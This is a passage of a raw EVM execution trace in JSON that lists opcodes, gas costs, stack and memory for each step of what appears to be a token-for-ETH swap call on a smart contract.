2d7e8","0xa24","0x4563918244f40000","0xa0","0x100","0x0","0x20f2","0x4563918244f40000","0x4c711efa05b78582f07d9d960b1dadde95688166","0xa0","0x1"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000160","0000000000000000000000000000000000000000000000000000000000000000","000000000000000000000000db80fe2d03a89fa9e8f8575cea5da8db6b945e24","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000004c711efa05b78582f07d9d960b1dadde95688166","000000000000000000000000175940b39014cd3a9c87cd6b1d7616a097db958e","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000000000000000000000000000004563918244f40000","0000000000000000000000000000000000000000000000000000000000000000"]},{"pc":8407,"op":"MLOAD","gas":117187,"gasCost":3,"depth":1,"stack":["0x18cbafe5","0x1f9","0x4563918244f40000","0x0","0xc4","0x2","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1cb1242d7e8","0x60","0x1cb1242d7e8","0xa24","0x4563918244f40000","0xa0","0x100","0x0","0x20f2","0x4563918244f40000","0x4c711efa05b78582f07d9d960b1dadde95688166","0xa0","0x1","0xa0"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000160","0000000000000000000000000000000000000000000000000000000000000000","000000000000000000000000db80fe2d03a89fa9e8f8575cea5da8db6b945e24","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000004c711efa05b78582f07d9d960b1dadde95688166","000000000000000000000000175940b39014cd3a9c87cd6b1d7616a097db958e","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000000000000000000000000000004563918244f40000","0000000000000000000000000000000000000000000000000000000000000000"]},{"pc":8408,"op":"DUP2","gas":117184,"gasCost":3,"depth":1,"stack":["0x18cbafe5","0x1f9","0x4563918244f40000","0x0","0xc4","0x2","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1cb1242d7e8","0x60","0x1cb1242d7e8","0xa24","0x4563918244f40000","0xa0","0x100","0x0","0x20f2","0x4563918244f40000","0x4c711efa05b78582f07d9d960b1dadde95688166","0xa0","0x1","0x2"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000160","0000000000000000000000000000000000000000000000000000000000000000","000000000000000000000000db80fe2d03a89fa9e8f8575cea5da8db6b945e24","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000004c711efa05b78582f07d9d960b1dadde95688166","000000000000000000000000175940b39014cd3a9c87cd6b1d7616a097db958e","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000000000000000000000000000004563918244f40000","0000000000000000000000000000000000000000000000000000000000000000"]},{"pc":8409,"op":"LT","gas":117181,"gasCost":3,"depth":1,"stack":["0x18cbafe5","0x1f9","0x4563918244f40000","0x0","0xc4","0x2","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1cb1242d7e8","0x60","0x1cb1242d7e8","0xa24","0x4563918244f40000","0xa0","0x100","0x0","0x20f2","0x4563918244f40000","0x4c711efa05b78582f07d9d960b1dadde95688166","0xa0","0x1","0x2","0x1"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000160","0000000000000000000000000000000000000000000000000000000000000000","000000000000000000000000db80fe2d03a89fa9e8f8575cea5da8db6b945e24","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000004c711efa05b78582f07d9d960b1dadde95688166","000000000000000000000000175940b39014cd3a9c87cd6b1d7616a097db958e","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000000000000000000000000000004563918244f40000","0000000000000000000000000000000000000000000000000000000000000000"]},{"pc":8410,"op":"PUSH2","gas":117178,"gasCost":3,"depth":1,"stack":["0x18cbafe5","0x1f9","0x4563918244f40000","0x0","0xc4","0x2","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1cb1242d7e8","0x60","0x1cb1242d7e8","0xa24","0x4563918244f40000","0xa0","0x100","0x0","0x20f2","0x4563918244f40000","0x4c711efa05b78582f07d9d960b1dadde95688166","0xa0","0x1","0x1"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000160","0000000000000000000000000000000000000000000000000000000000000000","000000000000000000000000db80fe2d03a89fa9e8f8575cea5da8db6b945e24","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000004c711efa05b78582f07d9d960b1dadde95688166","000000000000000000000000175940b39014cd3a9c87cd6b1d7616a097db958e","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000000000000000000000000000004563918244f40000","0000000000000000000000000000000000000000000000000000000000000000"]},{"pc":8413,"op":"JUMPI","gas":117175,"gasCost":10,"depth":1,"stack":["0x18cbafe5","0x1f9","0x4563918244f40000","0x0","0xc4","0x2","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1cb1242d7e8","0x60","0x1cb1242d7e8","0xa24","0x4563918244f40000","0xa0","0x100","0x0","0x20f2","0x4563918244f40000","0x4c711efa05b78582f07d9d960b1dadde95688166","0xa0","0x1","0x1","0x20e5"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000160","0000000000000000000000000000000000000000000000000000000000000000","000000000000000000000000db80fe2d03a89fa9e8f8575cea5da8db6b945e24","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000004c711efa05b78582f07d9d960b1dadde95688166","000000000000000000000000175940b39014cd3a9c87cd6b1d7616a097db958e","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000000000000000000000000000004563918244f40000","0000000000000000000000000000000000000000000000000000000000000000"]},{"pc":8421,"op":"JUMPDEST","gas":117165,"gasCost":1,"depth":1,"stack":["0x18cbafe5","0x1f9","0x4563918244f40000","0x0","0xc4","0x2","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1cb1242d7e8","0x60","0x1cb1242d7e8","0xa24","0x4563918244f40000","0xa0","0x100","0x0","0x20f2","0x4563918244f40000","0x4c711efa05b78582f07d9d960b1dadde95688166","0xa0","0x1"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000160","0000000000000000000000000000000000000000000000000000000000000000","000000000000000000000000db80fe2d03a89fa9e8f8575cea5da8db6b945e24","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000004c711efa05b78582f07d9d960b1dadde95688166","000000000000000000000000175940b39014cd3a9c87cd6b1d7616a097db958e","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000000000000000000000000000004563918244f40000","0000000000000000000000000000000000000000000000000000000000000000"]},{"pc":8422,"op":"PUSH1","gas":117164,"gasCost":3,"depth":1,"stack":["0x18cbafe5","0x1f9","0x4563918244f40000","0x0","0xc4","0x2","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1cb1242d7e8","0x60","0x1cb1242d7e8","0xa24","0x4563918244f40000","0xa0","0x100","0x0","0x20f2","0x4563918244f40000","0x4c711efa05b78582f07d9d960b1dadde95688166","0xa0","0x1"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000160","0000000000000000000000000000000000000000000000000000000000000000","000000000000000000000000db80fe2d03a89fa9e8f8575cea5da8db6b945e24","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000004c711efa05b78582f07d9d960b1dadde95688166","000000000000000000000000175940b39014cd3a9c87cd6b1d7616a097db958e","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000000000000000000000000000004563918244f40000","0000000000000000000000000000000000000000000000000000000000000000"]},{"pc":8424,"op":"MUL","gas":117161,"gasCost":5,"depth":1,"stack":["0x18cbafe5","0x1f9","0x4563918244f40000","0x0","0xc4","0x2","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1cb1242d7e8","0x60","0x1cb1242d7e8","0xa24","0x4563918244f40000","0xa0","0x100","0x0","0x20f2","0x4563918244f40000","0x4c711efa05b78582f07d9d960b1dadde95688166","0xa0","0x1","0x20"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000160","0000000000000000000000000000000000000000000000000000000000000000","000000000000000000000000db80fe2d03a89fa9e8f8575cea5da8db6b945e24","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000004c711efa05b78582f07d9d960b1dadde95688166","000000000000000000000000175940b39014cd3a9c87cd6b1d7616a097db958e","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000000000000000000000000000004563918244f40000","0000000000000000000000000000000000000000000000000000000000000000"]},{"pc":8425,"op":"PUSH1","gas":117156,"gasCost":3,"depth":1,"stack":["0x18cbafe5","0x1f9","0x4563918244f40000","0x0","0xc4","0x2","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1cb1242d7e8","0x60","0x1cb1242d7e8","0xa24","0x4563918244f40000","0xa0","0x100","0x0","0x20f2","0x4563918244f40000","0x4c711efa05b78582f07d9d960b1dadde95688166","0xa0","0x20"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000160","0000000000000000000000000000000000000000000000000000000000000000","000000000000000000000000db80fe2d03a89fa9e8f8575cea5da8db6b945e24","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000004c711efa05b78582f07d9d960b1dadde95688166","000000000000000000000000175940b39014cd3a9c87cd6b1d7616a097db958e","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000000000000000000000000000004563918244f40000","0000000000000000000000000000000000000000000000000000000000000000"]},{"pc":8427,"op":"ADD","gas":117153,"gasCost":3,"depth":1,"stack":["0x18cbafe5","0x1f9","0x4563918244f40000","0x0","0xc4","0x2","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1cb1242d7e8","0x60","0x1cb1242d7e8","0xa24","0x4563918244f40000","0xa0","0x100","0x0","0x20f2","0x4563918244f40000","0x4c711efa05b78582f07d9d960b1dadde95688166","0xa0","0x20","0x20"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000160","0000000000000000000000000000000000000000000000000000000000000000","000000000000000000000000db80fe2d03a89fa9e8f8575cea5da8db6b945e24","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000004c711efa05b78582f07d9d960b1dadde95688166","000000000000000000000000175940b39014cd3a9c87cd6b1d7616a097db958e","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000000000000000000000000000004563918244f40000","0000000000000000000000000000000000000000000000000000000000000000"]},{"pc":8428,"op":"ADD","gas":117150,"gasCost":3,"depth":1,"stack":["0x18cbafe5","0x1f9","0x4563918244f40000","0x0","0xc4","0x2","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1cb1242d7e8","0x60","0x1cb1242d7e8","0xa24","0x4563918244f40000","0xa0","0x100","0x0","0x20f2","0x4563918244f40000","0x4c711efa05b78582f07d9d960b1dadde95688166","0xa0","0x40"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000160","0000000000000000000000000000000000000000000000000000000000000000","000000000000000000000000db80fe2d03a89fa9e8f8575cea5da8db6b945e24","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000004c711efa05b78582f07d9d960b1dadde95688166","000000000000000000000000175940b39014cd3a9c87cd6b1d7616a097db958e","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000000000000000000000000000004563918244f40000","0000000000000000000000000000000000000000000000000000000000000000"]},{"pc":8429,"op":"MLOAD","gas":117147,"gasCost":3,"depth":1,"stack":["0x18cbafe5","0x1f9","0x4563918244f40000","0x0","0xc4","0x2","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1cb1242d7e8","0x60","0x1cb1242d7e8","0xa24","0x4563918244f40000","0xa0","0x100","0x0","0x20f2","0x4563918244f40000","0x4c711efa05b78582f07d9d960b1dadde95688166","0xe0"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000160","0000000000000000000000000000000000000000000000000000000000000000","000000000000000000000000db80fe2d03a89fa9e8f8575cea5da8db6b945e24","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000004c711efa05b78582f07d9d960b1dadde95688166","000000000000000000000000175940b39014cd3a9c87cd6b1d7616a097db958e","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000000000000000000000000000004563918244f40000","0000000000000000000000000000000000000000000000000000000000000000"]},{"pc":8430,"op":"PUSH2","gas":117144,"gasCost":3,"depth":1,"stack":["0x18cbafe5","0x1f9","0x4563918244f40000","0x0","0xc4","0x2","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1cb1242d7e8","0x60","0x1cb1242d7e8","0xa24","0x4563918244f40000","0xa0","0x100","0x0","0x20f2","0x4563918244f40000","0x4c711efa05b78582f07d9d960b1dadde95688166","0x175940b39014cd3a9c87cd6b1d7616a097db958e"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000160","0000000000000000000000000000000000000000000000000000000000000000","000000000000000000000000db80fe2d03a89fa9e8f8575cea5da8db6b945e24","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000004c711efa05b78582f07d9d960b1dadde95688166","000000000000000000000000175940b39014cd3a9c87cd6b1d7616a097db958e","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000000000000000000000000000004563918244f40000","0000000000000000000000000000000000000000000000000000000000000000"]},{"pc":8433,"op":"JUMP","gas":117141,"gasCost":8,"depth":1,"stack":["0x18cbafe5","0x1f9","0x4563918244f40000","0x0","0xc4","0x2","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1cb1242d7e8","0x60","0x1cb1242d7e8","0xa24","0x4563918244f40000","0xa0","0x100","0x0","0x20f2","0x4563918244f40000","0x4c711efa05b78582f07d9d960b1dadde95688166","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x12ec"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000160","0000000000000000000000000000000000000000000000000000000000000000","000000000000000000000000db80fe2d03a89fa9e8f8575cea5da8db6b945e24","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000004c711efa05b78582f07d9d960b1dadde95688166","000000000000000000000000175940b39014cd3a9c87cd6b1d7616a097db958e","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000000000000000000000000000004563918244f40000","0000000000000000000000000000000000000000000000000000000000000000"]},{"pc":4844,"op":"JUMPDEST","gas":117133,"gasCost":1,"depth":1,"stack":["0x18cbafe5","0x1f9","0x4563918244f40000","0x0","0xc4","0x2","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1cb1242d7e8","0x60","0x1cb1242d7e8","0xa24","0x4563918244f40000","0xa0","0x100","0x0","0x20f2","0x4563918244f40000","0x4c711efa05b78582f07d9d960b1dadde95688166","0x175940b39014cd3a9c87cd6b1d7616a097db958e"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000160","0000000000000000000000000000000000000000000000000000000000000000","000000000000000000000000db80fe2d03a89fa9e8f8575cea5da8db6b945e24","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000004c711efa05b78582f07d9d960b1dadde95688166","000000000000000000000000175940b39014cd3a9c87cd6b1d7616a097db958e","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000000000000000000000000000004563918244f40000","0000000000000000000000000000000000000000000000000000000000000000"]},{"pc":4845,"op":"PUSH1","gas":117132,"gasCost":3,"depth":1,"stack":["0x18cbafe5","0x1f9","0x4563918244f40000","0x0","0xc4","0x2","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1cb1242d7e8","0x60","0x1cb1242d7e8","0xa24","0x4563918244f40000","0xa0","0x100","0x0","0x20f2","0x4563918244f40000","0x4c711efa05b78582f07d9d960b1dadde95688166","0x175940b39014cd3a9c87cd6b1d7616a097db958e"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000160","0000000000000000000000000000000000000000000000000000000000000000","000000000000000000000000db80fe2d03a89fa9e8f8575cea5da8db6b945e24","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000004c711efa05b78582f07d9d960b1dadde95688166","000000000000000000000000175940b39014cd3a9c87cd6b1d7616a097db958e","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000000000000000000000000000004563918244f40000","0000000000000000000000000000000000000000000000000000000000000000"]},{"pc":4847,"op":"DUP1","gas":117129,"gasCost":3,"depth":1,"stack":["0x18cbafe5","0x1f9","0x4563918244f40000","0x0","0xc4","0x2","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1cb1242d7e8","0x60","0x1cb1242d7e8","0xa24","0x4563918244f40000","0xa0","0x100","0x0","0x20f2","0x4563918244f40000","0x4c711efa05b78582f07d9d960b1dadde95688166","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x0"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000160","0000000000000000000000000000000000000000000000000000000000000000","000000000000000000000000db80fe2d03a89fa9e8f8575cea5da8db6b945e24","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000004c711efa05b78582f07d9d960b1dadde95688166","000000000000000000000000175940b39014cd3a9c87cd6b1d7616a097db958e","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000000000000000000000000000004563918244f40000","0000000000000000000000000000000000000000000000000000000000000000"]},{"pc":4848,"op":"PUSH1","gas":117126,"gasCost":3,"depth":1,"stack":["0x18cbafe5","0x1f9","0x4563918244f40000","0x0","0xc4","0x2","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1cb1242d7e8","0x60","0x1cb1242d7e8","0xa24","0x4563918244f40000","0xa0","0x100","0x0","0x20f2","0x4563918244f40000","0x4c711efa05b78582f07d9d960b1dadde95688166","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x0","0x0"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000160","0000000000000000000000000000000000000000000000000000000000000000","000000000000000000000000db80fe2d03a89fa9e8f8575cea5da8db6b945e24","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000004c711efa05b78582f07d9d960b1dadde95688166","000000000000000000000000175940b39014cd3a9c87cd6b1d7616a097db958e","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000000000000000000000000000004563918244f40000","0000000000000000000000000000000000000000000000000000000000000000"]},{"pc":4850,"op":"PUSH2","gas":117123,"gasCost":3,"depth":1,"stack":["0x18cbafe5","0x1f9","0x4563918244f40000","0x0","0xc4","0x2","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1cb1242d7e8","0x60","0x1cb1242d7e8","0xa24","0x4563918244f40000","0xa0","0x100","0x0","0x20f2","0x4563918244f40000","0x4c711efa05b78582f07d9d960b1dadde95688166","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x0","0x0","0x0"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000160","0000000000000000000000000000000000000000000000000000000000000000","000000000000000000000000db80fe2d03a89fa9e8f8575cea5da8db6b945e24","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000004c711efa05b78582f07d9d960b1dadde95688166","000000000000000000000000175940b39014cd3a9c87cd6b1d7616a097db958e","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000000000000000000000000000004563918244f40000","0000000000000000000000000000000000000000000000000000000000000000"]},{"pc":4853,"op":"DUP6","gas":117120,"gasCost":3,"depth":1,"stack":["0x18cbafe5","0x1f9","0x4563918244f40000","0x0","0xc4","0x2","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1cb1242d7e8","0x60","0x1cb1242d7e8","0xa24","0x4563918244f40000","0xa0","0x100","0x0","0x20f2","0x4563918244f40000","0x4c711efa05b78582f07d9d960b1dadde95688166","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x0","0x0","0x0","0x12fb"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000160","0000000000000000000000000000000000000000000000000000000000000000","000000000000000000000000db80fe2d03a89fa9e8f8575cea5da8db6b945e24","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000004c711efa05b78582f07d9d960b1dadde95688166","000000000000000000000000175940b39014cd3a9c87cd6b1d7616a097db958e","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000000000000000000000000000004563918244f40000","0000000000000000000000000000000000000000000000000000000000000000"]},{"pc":4854,"op":"DUP6","gas":117117,"gasCost":3,"depth":1,"stack":["0x18cbafe5","0x1f9","0x4563918244f40000","0x0","0xc4","0x2","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1cb1242d7e8","0x60","0x1cb1242d7e8","0xa24","0x4563918244f40000","0xa0","0x100","0x0","0x20f2","0x4563918244f40000","0x4c711efa05b78582f07d9d960b1dadde95688166","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x0","0x0","0x0","0x12fb","0x4c711efa05b78582f07d9d960b1dadde95688166"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000160","0000000000000000000000000000000000000000000000000000000000000000","000000000000000000000000db80fe2d03a89fa9e8f8575cea5da8db6b945e24","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000004c711efa05b78582f07d9d960b1dadde95688166","000000000000000000000000175940b39014cd3a9c87cd6b1d7616a097db958e","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000000000000000000000000000004563918244f40000","0000000000000000000000000000000000000000000000000000000000000000"]},{"pc":4855,"op":"PUSH2","gas":117114,"gasCost":3,"depth":1,"stack":["0x18cbafe5","0x1f9","0x4563918244f40000","0x0","0xc4","0x2","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1cb1242d7e8","0x60","0x1cb1242d7e8","0xa24","0x4563918244f40000","0xa0","0x100","0x0","0x20f2","0x4563918244f40000","0x4c711efa05b78582f07d9d960b1dadde95688166","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x0","0x0","0x0","0x12fb","0x4c711efa05b78582f07d9d960b1dadde95688166","0x175940b39014cd3a9c87cd6b1d7616a097db958e"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000160","0000000000000000000000000000000000000000000000000000000000000000","000000000000000000000000db80fe2d03a89fa9e8f8575cea5da8db6b945e24","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000004c711efa05b78582f07d9d960b1dadde95688166","000000000000000000000000175940b39014cd3a9c87cd6b1d7616a097db958e","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000000000000000000000000000004563918244f40000","0000000000000000000000000000000000000000000000000000000000000000"]},{"pc":4858,"op":"JUMP","gas":117111,"gasCost":8,"depth":1,"stack":["0x18cbafe5","0x1f9","0x4563918244f40000","0x0","0xc4","0x2","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1cb1242d7e8","0x60","0x1cb1242d7e8","0xa24","0x4563918244f40000","0xa0","0x100","0x0","0x20f2","0x4563918244f40000","0x4c711efa05b78582f07d9d960b1dadde95688166","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x0","0x0","0x0","0x12fb","0x4c711efa05b78582f07d9d960b1dadde95688166","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x212b"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000160","0000000000000000000000000000000000000000000000000000000000000000","000000000000000000000000db80fe2d03a89fa9e8f8575cea5da8db6b945e24","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000004c711efa05b78582f07d9d960b1dadde95688166","000000000000000000000000175940b39014cd3a9c87cd6b1d7616a097db958e","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000000000000000000000000000004563918244f40000","0000000000000000000000000000000000000000000000000000000000000000"]},{"pc":8491,"op":"JUMPDEST","gas":117103,"gasCost":1,"depth":1,"stack":["0x18cbafe5","0x1f9","0x4563918244f40000","0x0","0xc4","0x2","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1cb1242d7e8","0x60","0x1cb1242d7e8","0xa24","0x4563918244f40000","0xa0","0x100","0x0","0x20f2","0x4563918244f40000","0x4c711efa05b78582f07d9d960b1dadde95688166","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x0","0x0","0x0","0x12fb","0x4c711efa05b78582f07d9d960b1dadde95688166","0x175940b39014cd3a9c87cd6b1d7616a097db958e"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000160","0000000000000000000000000000000000000000000000000000000000000000","000000000000000000000000db80fe2d03a89fa9e8f8575cea5da8db6b945e24","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000004c711efa05b78582f07d9d960b1dadde95688166","000000000000000000000000175940b39014cd3a9c87cd6b1d7616a097db958e","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000000000000000000000000000004563918244f40000","0000000000000000000000000000000000000000000000000000000000000000"]},{"pc":8492,"op":"PUSH1","gas":117102,"gasCost":3,"depth":1,"stack":["0x18cbafe5","0x1f9","0x4563918244f40000","0x0","0xc4","0x2","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1cb1242d7e8","0x60","0x1cb1242d7e8","0xa24","0x4563918244f40000","0xa0","0x100","0x0","0x20f2","0x4563918244f40000","0x4c711efa05b78582f07d9d960b1dadde95688166","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x0","0x0","0x0","0x12fb","0x4c711efa05b78582f07d9d960b1dadde95688166","0x175940b39014cd3a9c87cd6b1d7616a097db958e"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000160","0000000000000000000000000000000000000000000000000000000000000000","000000000000000000000000db80fe2d03a89fa9e8f8575cea5da8db6b945e24","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000004c711efa05b78582f07d9d960b1dadde95688166","000000000000000000000000175940b39014cd3a9c87cd6b1d7616a097db958e","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000000000000000000000000000004563918244f40000","0000000000000000000000000000000000000000000000000000000000000000"]},{"pc":8494,"op":"MLOAD","gas":117099,"gasCost":3,"depth":1,"stack":["0x18cbafe5","0x1f9","0x4563918244f40000","0x0","0xc4","0x2","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1cb1242d7e8","0x60","0x1cb1242d7e8","0xa24","0x4563918244f40000","0xa0","0x100","0x0","0x20f2","0x4563918244f40000","0x4c711efa05b78582f07d9d960b1dadde95688166","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x0","0x0","0x0","0x12fb","0x4c711efa05b78582f07d9d960b1dadde95688166","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x40"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000160","0000000000000000000000000000000000000000000000000000000000000000","000000000000000000000000db80fe2d03a89fa9e8f8575cea5da8db6b945e24","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000004c711efa05b78582f07d9d960b1dadde95688166","000000000000000000000000175940b39014cd3a9c87cd6b1d7616a097db958e","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000000000000000000000000000004563918244f40000","0000000000000000000000000000000000000000000000000000000000000000"]},{"pc":8495,"op":"PUSH4","gas":117096,"gasCost":3,"depth":1,"stack":["0x18cbafe5","0x1f9","0x4563918244f40000","0x0","0xc4","0x2","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1cb1242d7e8","0x60","0x1cb1242d7e8","0xa24","0x4563918244f40000","0xa0","0x100","0x0","0x20f2","0x4563918244f40000","0x4c711efa05b78582f07d9d960b1dadde95688166","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x0","0x0","0x0","0x12fb","0x4c711efa05b78582f07d9d960b1dadde95688166","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x160"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000160","0000000000000000000000000000000000000000000000000000000000000000","000000000000000000000000db80fe2d03a89fa9e8f8575cea5da8db6b945e24",